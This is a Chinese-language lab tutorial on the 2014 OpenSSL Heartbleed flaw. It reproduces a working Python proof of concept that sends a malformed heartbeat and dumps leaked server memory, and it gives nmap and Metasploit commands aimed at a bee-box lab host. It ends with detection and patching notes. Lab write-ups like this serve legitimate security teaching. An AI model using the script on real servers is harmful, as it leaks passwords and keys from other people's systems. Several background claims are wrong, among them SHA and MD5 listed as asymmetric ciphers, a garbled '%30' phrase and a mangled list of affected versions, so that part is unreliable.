一、漏洞介绍
2014年,互联网安全协议OpenSSL被爆出存在一种十分严重的漏洞。
在黑客社区,被命名为“心脏滴血” ,黑客通过利用该漏洞,可以获取到%30开头的https网站的用户名和密码,漏洞还影响到使用OpenSSL加密的产品。
二、漏洞分析
OpenSSL是通过加密算法来保证数据通信的私密性。
加密算法:
对称加密算法(AES、DES、3DES)
非对称加密算法(RSA/DSA/SHA/MD5)
而OpenSSL是使用公开的非对称加密算法RSA来加密的。
此次漏洞的成因是OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中长达64K的数据。
三、漏洞测试
测试环境
攻击机:kali linux
IP:192.168.220.138
目标机:bee-box(bwap)
IP:192.168.220.160
查看目标机ip能与目标机ping通
使用靶机进行测试
靶机下载地址(beebox/bwapp):
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
poc下载
https://github.com/decal/ssltest-stls.git
#代码如下
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
# The authors disclaim copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=4):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
BUFSIZ = 1024
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
s.connect((args[0], opts.port))
if opts.starttls != '':
print 'Sending STARTTLS Protocol Command...'
if opts.starttls == 'smtp':
s.recv(BUFSIZ)
s.send("EHLO openssl.client.net\n")
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'pop3':
s.recv(BUFSIZ)
s.send("STLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'imap':
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'ftp':
s.recv(BUFSIZ)
s.send("AUTH TLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'xmpp': # TODO: This needs SASL
s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
s.recv(BUFSIZ)
print 'Sending Client Hello...'
s.send(hello)
print 'Waiting for Server Hello...'
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
靶机设置
1、选择 heartbleed Vulnerability选项。
2、有提示端口信息和攻击测试脚本。
端口为8443
python脚本利用
1、使用nmap的ssl-heartbleed.nse脚本探测是否存在漏洞。
nmap -p 8443 --script ssl-heartbleed.nse 192.168.220.160
经过探测发现目标主机有该漏洞,接下来可以利用。
2、使用python编写的poc进行漏洞利用。
执行以下命令返回以下结果
python ssltest-stls.py 192.168.220.160 -p 8443
说明存在该漏洞,利用成功!
msf利用
1、启动msf控制台
2、设置模块
use auxiliary/scanner/ssl/openssl_heartbleed
3、查看参数
4、设置参数
set RHOSTS 192.168.220.160 设置目标地址
set RPORT 8443 设置目标端口
set verbose 设置监听信息
5、攻击
攻击者可以追踪OpenSSL缓存中的64KB信息,耐心的拼凑出想要信息,危害比较大!!
检测技术
hhttps://github.com/decal/ssltest-stls.git
nmap ssl-heartbleed.nse 脚本检测
漏洞修补
受影响版本
OpenSSL 1.0.1
OpenSSL 1.0.1a ~OpenSSL 1.0.1f
OpenSSL Beta 1
OpenSSL 1.0.2
非受影响版本
OpenSSL 1.0.1 g
OpenSSL 1.0.0 branch
OpenSSL 0.9.8 branch
参考学习
http://www.broadview.com.cn/book/4850
https://www.freebuf.com/articles/people/194171.html